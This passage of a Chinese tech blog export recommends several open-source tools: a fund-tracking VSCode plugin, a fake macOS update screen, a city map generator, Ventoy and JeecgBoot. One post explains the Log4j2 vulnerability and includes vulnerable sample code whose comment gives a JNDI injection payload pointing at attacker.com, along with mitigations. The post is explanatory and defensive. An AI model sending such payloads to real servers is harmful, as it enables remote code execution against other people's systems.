alt="6"></p><p>右击指定的基金,就可以看到该基金的历史净值啦。</p><h5 id="基金走势图:"><a href="#基金走势图:" class="headerlink" title="基金走势图:"></a>基金走势图:<img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638117.jpg" alt="7"></h5><h5 id="基金排行榜:"><a href="#基金排行榜:" class="headerlink" title="基金排行榜:"></a>基金排行榜:<img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638118.jpg" alt="8"></h5><p>还可以设置自己对应基金的持仓金额,这样就可以同步自己基金的持有数据了。<img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638119.jpg" alt="9"></p><h5 id="股市资金流向(沪深港通资金流向、北向资金、南向资金)"><a href="#股市资金流向(沪深港通资金流向、北向资金、南向资金)" class="headerlink" title="股市资金流向(沪深港通资金流向、北向资金、南向资金)"></a>股市资金流向(沪深港通资金流向、北向资金、南向资金)</h5><p>这个是比较常用的功能了,通常懂行的小伙伴可以据此来推测市场动向。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638120.jpg" alt="10"></p><h4 id="小结:"><a href="#小结:" class="headerlink" title="小结:"></a>小结:</h4><p>怎么样,这么方便的插件还不赶快安装到你的VSCode中去,投资理财摸鱼一条龙服务哦!</p><p>当然<strong>投资有风险,入市需谨慎!</strong>,希望各位小伙伴不要像大叔一样,每天都是一绿到底,大叔现在已经快要看啥都泛绿了……..。</p><p>对这个插件有兴趣的小伙伴可以在公众号后台回复「<strong>韭菜盒子</strong>」即可获取项目源码地址。</p><h4 id="写在最后:"><a href="#写在最后:" class="headerlink" title="写在最后:"></a>写在最后:</h4><p><strong>欢迎加入开源小分队读者交流群</strong>,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!进群方式:公众号后台回复 <strong>888</strong> ,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p>]]></content>
<tags>
<tag> zero </tag>
</tags>
</entry>
<entry>
<title>别羡慕Win10的摸鱼应用,Mac也有摸鱼神器!</title>
<link href="/blog/2021/12/28/bie-xian-mu-win10-de-mo-yu-ying-yong-mac-ye-you-mo-yu-shen-qi/"/>
<url>/blog/2021/12/28/bie-xian-mu-win10-de-mo-yu-ying-yong-mac-ye-you-mo-yu-shen-qi/</url>
<content type="html"><![CDATA[<p>大家好,我是机灵可爱的摸鱼小妹……哦不开源小妹。</p><p>摸鱼应该是每一位当代职场人的必备技能了。这不前几天看到 Win10 的应用商城上架了一款“摸鱼”应用,打开后会显示 Windows 升级的页面,让别人以为电脑正在升级,无法工作。所以你就可以趁着这个时候溜达一圈,放松一下自己的大脑和身心,进而提高后续的工作效率(认真脸)。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-0662900.png" alt="img"></p><p>不过用 Mac 的小伙伴可不能服输啊!如此好用的功能怎么能让 Windows 平台独占呢?我们 Mac 用户也要有摸鱼的工具!不能认输!</p><p>那么就由小妹来介绍一款 Mac 的摸鱼神器吧,那就是 FishUpgrade。</p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>FishUpgrade 是一个小小的简单的开源项目,它是一款 Mac 系统升级模拟器,打开后会全屏展示一个 macOS 系统升级的页面,像这样:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/update.png" alt="update"></p><p>项目介绍里做出了一些免责声明,不过小妹认为不用担心会遇到这些问题。感觉作者应该是个可爱的猿猿(<em>╹▽╹</em>)</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20211228114140299.png" alt="img"></p><h2 id="使用方式"><a href="#使用方式" class="headerlink" title="使用方式"></a>使用方式</h2><p>首先我们下载已经打好的 release 包,解压后就是可以直接执行的应用。</p><p>双击打开应用后,会自动弹出添加快捷指令的窗口。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20211228114140287.png" alt="img"></p><p>快捷指令的内容大概是关闭勿扰模式,然后根据主界面传入的摸鱼时间,来控制系统模拟更新的结束时间。添加完快捷指令,我们就可以设置要摸鱼的时间啦,如图:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20211228115311237.png" alt="img"></p><p>之后点击一键摸鱼,就可以进入系统升级界面啦。这个界面的进度条是随着时间前进的,很逼真。升级期间也可以随时按下 esc 键退出。</p><p>怎么样,小妹这个摸鱼小能手分享的摸鱼神器是不是很赞!想要体验的朋友,可以在公众号后台回复「摸鱼」来获取项目地址吧!</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>超酷!一键绘制你爱的城市的地图</title>
<link href="/blog/2021/12/21/chao-ku-yi-jian-hui-zhi-ni-ai-de-cheng-shi-de-di-tu/"/>
<url>/blog/2021/12/21/chao-ku-yi-jian-hui-zhi-ni-ai-de-cheng-shi-de-di-tu/</url>
<content type="html"><![CDATA[<h1 id="超酷!一键绘制你爱的城市的地图"><a href="#超酷!一键绘制你爱的城市的地图" class="headerlink" title="超酷!一键绘制你爱的城市的地图"></a>超酷!一键绘制你爱的城市的地图</h1><p>大家好呀,我是机灵可爱的开源小妹。</p><p>前段时间在网上帮朋友挑选礼物的时候,看到了这样的一个礼物:将两个城市的地图拼在一起形成一副地图画。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-0015070.png" alt="img"></p><p>当时感觉这种简约风格的地图还挺酷的,很有艺术感。结果这几天正好发现了一个开源项目,可以直接类似的图片,比如北京:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/beijing.jpg" alt="beijing"></p><p>上海:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/shanghai.jpg" alt="shanghai"></p><p>怎么样,是不是还蛮酷的,都可以当壁纸用啦!</p><p>这个开源项目就是:city-roads。下面由我简单的为大家介绍一下吧~</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>city-roads是一个Node.js项目,它可以生成任意一个城市的道路图。其数据来源于OpenStreetMap的免费地图数据,并对数据进行可视化。</p><h2 id="本地启动"><a href="#本地启动" class="headerlink" title="本地启动"></a>本地启动</h2><p>city-roads的本地启动方式非常简单,当然前提是你本地安装了node.js。</p><p>在下载完源码之后,进入到项目的根目录。执行以下命令安装依赖的包:</p><pre class=" language-Plain%20Text"><code class="language-Plain%20Text">npm install</code></pre><p>该命令可以自动安装package.json文件中配置的项目依赖的包。</p><p>之后执行以下命令启动服务:</p><pre class=" language-Plain%20Text"><code class="language-Plain%20Text">npm run dev</code></pre><p>如果中途有类似的报错:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20211220234430651.png" alt="img"></p><p>不用担心,这可能是因为本地安装的node.js是v17.0.0以上的版本,我们先执行这个命令:</p><pre class=" language-Plain%20Text"><code class="language-Plain%20Text">export NODE_OPTIONS=--openssl-legacy-provider</code></pre><p>之后再执行<code>npm run dev</code>命令就可以啦。</p><h2 id="生成地图"><a href="#生成地图" class="headerlink" title="生成地图"></a>生成地图</h2><p>服务启动后,访问localhost:8080进入主页面。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20211220234430695.png" alt="img"></p><p>在搜索框中搜索你想生成地图的城市,选择后,等待下载数据后,就可以自动渲染生成地图了。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20211220234430991.png" alt="img"></p><p>下载地图数据的过程可能会比较慢,耐心等待一会就好啦~</p><p>地图生成之后,我们可以随意更改道路线条的颜色和背景颜色。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/shezhi.jpg" alt="shezhi"></p><p>或者点击As an image链接下载当前缩放大小的图片。</p><p>当然啦,如果只是想尝试一下,不想本地部署的话,项目也提供了线上的演示demo在线生成地图,赶紧到公众号后台回复「map」获取开源项目地址和线上预览地址吧!</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>18W Star! 程序员的打怪升级路线大放送!!</title>
<link href="/blog/2021/12/19/cheng-xu-yuan-de-da-guai-sheng-ji-lu-xian-da-fang-song/"/>
<url>/blog/2021/12/19/cheng-xu-yuan-de-da-guai-sheng-ji-lu-xian-da-fang-song/</url>
<content type="html"><![CDATA[<p>我相信刚入门的小伙伴或多或少都有大叔当年的困惑,所有今天大叔给大家介绍的开源项目,就是我们程序员的升级路线,一个标星 18W+ 的人气项目:<strong>developer-roadmap。</strong></p><h3 id="项目目的"><a href="#项目目的" class="headerlink" title="项目目的"></a>项目目的</h3><p>大家都知道,现在的技术革新非常的快,常常还没有学习完一种技术,新的替代品就出现了,让人无所适从。所以我们想要最高效的提高自己,一定要选择好自己的提升路径。</p><p>这个项目主要的列出不同类型的程序员学习路线,让大家能够对技术有个全方面的了解,能够为你接下来不知道如何学习提供及时的指导。</p><h3 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h3><p><strong>developer-roadmap</strong> 现在已经包含了 <strong>10 条</strong>不同的程序员进阶路线,其中包括:</p><ul><li>前端路线</li><li>后端路线</li><li>DevOps 路线</li><li>React 路线</li><li>Angular 路线</li><li>Android 路线</li><li>Python 路线</li><li>Go 路线</li><li>Java 路线</li><li>DBA 路线</li></ul><h3 id="后端打怪路线"><a href="#后端打怪路线" class="headerlink" title="后端打怪路线"></a>后端打怪路线</h3><p>因为 10 条路线太多,大叔在这里就给大家展示一下其中最多人关注的后端进阶路线。</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/0bbc0623-29f1-42e6-a507-b428a47da22a/Untitled.png" alt="Untitled"></p><p>路线图是以这种类似鱼骨图的方式进行展示的,从上到下是作为一名新手程序员到资深程序员的进阶路线,两边的分支就是你要学习的内容。</p><p>我们可以看到左上角有不同的建议程度,其中包括:</p><ul><li>个人意见 / 建议学习</li><li>替代的选项</li><li>任何时间学都可以</li><li>不建议</li></ul><p>可以理解为从上到下是学习的优先级。</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>怎么样,大叔今天分享的项目值得每一个程序员去关注,对自己的知识体系进行一次完整的梳理!大家赶紧去公众号后端回复<strong>「路线」</strong>获取项目的地址吧!!</p><p>最后,欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>再也不用担心被和谐了!</title>
<link href="/blog/2021/12/17/zai-ye-bu-yong-dan-xin-bei-he-xie-liao/"/>
<url>/blog/2021/12/17/zai-ye-bu-yong-dan-xin-bei-he-xie-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>今儿一早到公司,开源小妹给我使了个坏笑眼神:“大叔,给你个好东西,快看微信”</p><p>“什么好东西这么神神秘秘的?”</p><p>我连忙拿起手机查看,只见了一串神秘的文字。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172318029.jpg"><br>这妞啥时候这么讲政治,开始学习社会主义核心价值观了吗?</p><p>“小妹,学习背得不错,继续加油哈~~~公司开始要求考核这个了吗?”</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172327829.jpeg"><br>“汗!!!大~~~ 叔 ~~~,给你好东西呢,居然也有你不知道的?那我给你说说!” </p><p>看着我疑惑的样子,小妹很开心,开始滔滔江水般介绍起来。</p><h3 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h3><p>这是 github 上的一个开源项目,很有意思的,叫「核心价值观编码」,目前已经有 2k+ 的 star。</p><p>该项目使用社会主义核心价值观作为编码器,通过编程学习我党提出的24字社会主义核心价值观。</p><p>举个例子:</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172319878.jpg"><br><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172320371.jpg"><br>哦,这会看明白了,这个项目<strong>用24字社会主义核心价值观来进行加解密</strong>。</p><p>“小妹,厉害了啊~~”</p><p>“嘿嘿,是作者厉害。”</p><p>说真的,网上再怎么和谐,怎么着也不会把这24个字给和谐了吧,这样的话不就可以非常愉快的进行人与人的交流和连接了~~~</p><p>不得不佩服作者的机智和眼光,就服你!!</p><p>感觉以后的论坛都会是这个样子的,真正的富强和谐。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112180003646.jpg"></p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112180003645.jpg"><br>那赶紧看看小妹给我发的是啥好东西?大叔好帅,大叔好棒,大叔真牛逼<br>好期待啊~~~</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172321012.png"><br><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172321167.jpg"></p><p>切~~~~</p><h3 id="chrome-插件"><a href="#chrome-插件" class="headerlink" title="chrome 插件"></a>chrome 插件</h3><p>另外在这个项目的基础上,又有网友发布了改版的编码,汉化并将其做成了chrome浏览器的插件,可以随时随地的进行编码。</p><p>下载之后,按照以下步骤安装:</p><p>1、将项目下载解压之后备用</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172322490.jpg"><br>2、 打开 Chrome ,在地址栏打开地址 chrome://extensions/,<br>开启右上角的“开发者模式”。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172322589.jpg"><br>3、加载刚刚解压的文件夹</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172323006.jpg"><br>4、加载后浏览器右上角多了一个插件图标,</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172323574.jpg"><br>这个时候就安装完成了。可以任意打开一个网页,选中文字,点击插件自动实现编码的转换:</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211217/202112172324319.jpg"><br>怎么样,是不是感觉这个项目非常的牛,赶紧在公众号后台回复「价值」,获取项目的地址、chrome插件吧~~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源指南读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>神仙接私平台,牛到不行</title>
<link href="/blog/2021/12/17/shen-xian-jie-si-ping-tai-niu-dao-bu-xing/"/>
<url>/blog/2021/12/17/shen-xian-jie-si-ping-tai-niu-dao-bu-xing/</url>
<content type="html"><![CDATA[<p>大家好,我是开源大叔</p><p>上周末接到一个大需求,要搭建一套手机端、PC端多端的一个平台,业务很简单,但量比较多,吐血。。</p><p>想找找机会能不能偷点懒,于是乎去 GitHub 上找找有没有合适的项目。</p><p>哎,还真给找到了 Jeecgboot 牛的不行的开源项目。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122129752.png"><br>JeecgBoot 是一款基于 BPM 的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&amp;Vue,Mybatis-plus,Shiro,JWT,支持微服务。</p><p>强大的代码生成器让前后端代码一键生成,实现低代码开发, 帮助 Java 项目解决70%的重复工作,让开发更多关注业务,既能快速提高效率,节省研发成本,同时又不失灵活性!</p><p>一系列低代码能力:</p><ul><li>Online 表单</li><li>Online 报表</li><li>Online 图表</li><li>表单设计</li><li>流程设计</li><li>报表设计</li><li>大屏设计等</li></ul><h2 id="功能点"><a href="#功能点" class="headerlink" title="功能点"></a>功能点</h2><p>该平台功能点丰富,能满足大部分的业务需求。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122110283.jpg"></p><h2 id="项目截图"><a href="#项目截图" class="headerlink" title="项目截图"></a>项目截图</h2><h3 id="PC端"><a href="#PC端" class="headerlink" title="PC端"></a>PC端</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122112629.png"></p><h3 id="在线接口文档"><a href="#在线接口文档" class="headerlink" title="在线接口文档"></a>在线接口文档</h3><p>支持swagger文档<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122113848.png"></p><h3 id="报表"><a href="#报表" class="headerlink" title="报表"></a>报表</h3><p>多样报表模板。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122113073.png"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122113453.png"></p><h3 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h3><p>各种oa流程均支持<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122114516.png"></p><h3 id="手机端"><a href="#手机端" class="headerlink" title="手机端"></a>手机端</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122114857.jpg"></p><h3 id="PAD端"><a href="#PAD端" class="headerlink" title="PAD端"></a>PAD端</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112122115865.jpg"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>用上这个框架能减少大量的重复性的工作,在配上官方保姆级教程,妥妥的私活神器,在公众号后台回复「私活神器」即可获取项目源码地址。</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!<br>进群方式:公众号后台回复888,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>呀,系统坏了,咋办?</title>
<link href="/blog/2021/12/13/ya-xi-tong-pi-liao-zha-ban/"/>
<url>/blog/2021/12/13/ya-xi-tong-pi-liao-zha-ban/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹。<br>上周家里电脑坏了,尝试用了很多U盘启动盘制作工具,很多都有绑定插件,很是烦恼。跑去找开源大叔寻求帮助。哎,在大叔的指导下,找到了一款神器 - Ventoy。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112121942767.gif"></p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>简单来说,Ventoy是一个制作可启动U盘的开源工具。<br>有了Ventoy你就无需反复地格式化U盘,你只需要把 ISO/WIM/IMG/VHD(x)/EFI 等类型的文件直接拷贝到U盘里面就可以启动了,无需其他操作。</p><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><ol><li>从开源项目 Release 中下载最新的安装包<pre><code>ventoy-1.0.62-windows.zip</code></pre></li><li>解压,双击 Ventoy2Disk.exe<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112121941765.png"></li><li>选择要安装的U盘,点击安装或升级</li><li>安装完成,将系统镜像拷贝到U盘中,即可正常使用了。</li></ol><h2 id="Ventoy-五大的优势"><a href="#Ventoy-五大的优势" class="headerlink" title="Ventoy 五大的优势"></a>Ventoy 五大的优势</h2><h3 id="免费开源"><a href="#免费开源" class="headerlink" title="免费开源"></a>免费开源</h3><p>最糟心的就是不知道软件提供方给我们捆绑了啥东西,而Ventoy是一个制作可启动U盘的开源工具,完全免费,源码可查,可放心使用。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112121941243.png"></p><h3 id="兼容性好"><a href="#兼容性好" class="headerlink" title="兼容性好"></a>兼容性好</h3><p>支持包括 Windows 10、Windows 8.1、Windows 7、WinPE 系统以及 Ubuntu 等多种 Linux 发行版。<br>Vetony 是一款启动盘制作工具,而非 PE 系统,所以它可以把 PE 系统装载到U盘中哦。<br>而且无差别支持 Legacy BIOS 和 UEFI 模式,无论你的电脑主板使用什么模式 Ventoy 都可以自动检测识别。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112121939634.png"></p><h3 id="无需格盘"><a href="#无需格盘" class="headerlink" title="无需格盘"></a>无需格盘</h3><p>该工具可以直接安装到U盘上且不需要将其他镜像刻录U盘,用户需要做的仅仅是将ISO复制到U盘中。<br>传统的刻录方式需要对U盘进行格式化,而采用Vetony则无需格式化。</p><h3 id="支持大文件"><a href="#支持大文件" class="headerlink" title="支持大文件"></a>支持大文件</h3><p>该工具也支持将超过4GB的镜像文件复制到U盘,这点很重要因为 Windows 10 镜像文件已超过4GB。</p><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><p>可并存多个操作系统镜像无需每次使用重新格盘刻录、启动过程中支持写保护、版本升级不丢失数据。</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>支持多系统镜像,一个U盘走天下!大家觉得怎么样,这款系统启动盘制作工具是不是很好用,没有广告,没有捆绑软件的良心之作啊。</p><p>好啦,今天小妹的分享就到这里了,在公众号后台回复「U盘」即可获取项目源码地址。看完文章后,趁着搬砖摸鱼之时,赶快试试吧。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>见证历史了。。。</title>
<link href="/blog/2021/12/11/jian-zheng-li-shi-liao/"/>
<url>/blog/2021/12/11/jian-zheng-li-shi-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>最近这两天 log4j2 的事情闹得是沸沸扬扬的,本来大叔我是两耳不闻窗外事,一心只敲圣贤码的,谁知,公司研发群的一则通知打破了本来的宁静。</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211211185509.png"></p><p>这个时候,我才意识到了问题的严重性,然后我就去各大程序员社区(知乎、CSDN、开源中国等)搜了一下,果然,这件事被大家讨论的沸沸扬扬。</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211211190318.png"></p><p>大叔并没有着急整理这篇文章,而是<strong>让子弹飞一会</strong>。</p><h2 id="漏洞介绍"><a href="#漏洞介绍" class="headerlink" title="漏洞介绍"></a>漏洞介绍</h2><h3 id="Apache-Log4j2"><a href="#Apache-Log4j2" class="headerlink" title="Apache Log4j2"></a>Apache Log4j2</h3><p>Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。</p><h3 id="漏洞原因"><a href="#漏洞原因" class="headerlink" title="漏洞原因"></a>漏洞原因</h3><p>本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:<strong>当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码</strong>。</p><p><strong>那么什么是 JNDI 呢?</strong></p><blockquote><p>Java命名和目录接口(Java Naming and Directory Interface,缩写 JNDI),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。</p></blockquote><p>利用下面这段代码,攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。</p><pre class=" language-java"><code class="language-java"><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">VulnerableLog4jExampleHandler</span> <span class="token keyword">implements</span> <span class="token class-name">HttpHandler</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token keyword">static</span> Logger log <span class="token operator">=</span> Logger<span class="token punctuation">.</span><span class="token function">getLogger</span><span class="token punctuation">(</span>log4jExample<span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">/** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * * This is basically pseudo-code to explain the vulnerability, and not a full example. * * @param he HTTP Request Object */</span> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">handle</span><span class="token punctuation">(</span>HttpExchange he<span class="token punctuation">)</span> <span class="token keyword">throws</span> IOException <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> String userAgent <span class="token operator">=</span> he<span class="token punctuation">.</span><span class="token function">getRequestHeader</span><span class="token punctuation">(</span><span class="token string">"user-agent"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. </span> <span class="token comment" spellcheck="true">// The attacker can set their User-Agent header to: $&amp;#123;jndi:ldap://attacker.com/a&amp;#125; log.info("Request User Agent:" + userAgent); </span> String response <span class="token operator">=</span> <span class="token string">"Hello There, "</span> <span class="token operator">+</span> userAgent <span class="token operator">+</span> <span class="token string">"!"</span><span class="token punctuation">;</span> he<span class="token punctuation">.</span><span class="token function">sendResponseHeaders</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span> response<span class="token punctuation">.</span><span class="token function">length</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> OutputStream os <span class="token operator">=</span> he<span class="token punctuation">.</span><span class="token function">getResponseBody</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> os<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>response<span class="token punctuation">.</span><span class="token function">getBytes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> os<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>感兴趣的小伙伴可以后台回复 [见证历史] 获得具体攻击手段,在本地尝试复现一下,<strong>但是千万不要不当利用哦!</strong></p><h3 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h3><p><strong>Apache Log4j 2.x &lt;= 2.15.0-rc1(据悉,官方rc1补丁有被绕过的风险)</strong></p><h2 id="解决方式"><a href="#解决方式" class="headerlink" title="解决方式"></a>解决方式</h2><p>当问题爆出来之后,大家都在积极修复该漏洞。</p><h3 id="临时性缓解措施(任选一种)"><a href="#临时性缓解措施(任选一种)" class="headerlink" title="临时性缓解措施(任选一种)"></a>临时性缓解措施(任选一种)</h3><ul><li>在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true</li><li>系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true</li><li>建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本</li><li>创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”</li><li>限制受影响应用对外访问互联网</li><li>WAF 添加漏洞攻击代码临时拦截规则。</li></ul><h3 id="永久性解决方案"><a href="#永久性解决方案" class="headerlink" title="永久性解决方案"></a>永久性解决方案</h3><p>截止目前,Log4j2 官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞,大家可以升级到该版本来解决该漏洞。</p><h2 id="八仙过海,各显神通"><a href="#八仙过海,各显神通" class="headerlink" title="八仙过海,各显神通"></a>八仙过海,各显神通</h2><p>当问题出现之后,最重要的是先解决问题,咱国内的互联网大厂那可是一刻也没有松懈,全都迅速响应,拿出了自己的解决方案。</p><h3 id="美团"><a href="#美团" class="headerlink" title="美团"></a>美团</h3><p>org.apache.logging.log4j:log4j-core 在 2.10.0 以上增加了不启用 lookup 的配置项,但是默认关闭,官方暂无提供默认开启的正式版本。</p><p>美团日志框架(xmd-log4j2)封装了 log4j2,在 1.4.1 将开关默认打开,防御上面的攻击场景。</p><p>美团内大部分业务使用 xmd-log4j2 , xmd-log4j2 会引入 log4j2,故使用 com.meituan.inf:xmd-log4j2 引入的 org.apache.logging.log4j:log4j-core,需升级com.meituan.inf:xmd-log4j2 到最新版本(1.4.1)完成修复。注:切勿使用 xmd-log4j2 2.0.0-Snapshot 包,这不是修复包。</p><p>通过 maven 配置更新 xmd-log4j2,使用最新版本(1.4.1),或使用 inf-bom 1.4.14.1。</p><h3 id="阿里"><a href="#阿里" class="headerlink" title="阿里"></a>阿里</h3><p>使用了 rasp,加了拦截策略。原理算是字节码增强,通过配置的规则,检测到了攻击就进行上报,或者直接抛出异常。这算是个防御手段,按照阿里人的说法,目前是止血。</p><h3 id="字节"><a href="#字节" class="headerlink" title="字节"></a>字节</h3><p>安全部门将对公司全部 Java 服务进行组件扫描与升级,禁止低版本 Log4j 组件在线上运行。</p><p>同时,我们也将开启针对低版本、高风险组件(Log4j2 和 FastJSON)的安全卡点。</p><h3 id="百度"><a href="#百度" class="headerlink" title="百度"></a>百度</h3><p>百度的我还没找到他们的解决方式,但是我偷偷的试了一下,确实已经解决了</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211211203800.png"></p><h2 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h2><p>我们是历史的经历者,也是历史的见证者,当出现这样足以被载入史册的重大事件之后,我们在“吃瓜”之余,也要有一些自己的思考。</p><p>不仅仅是 Apache Log4j 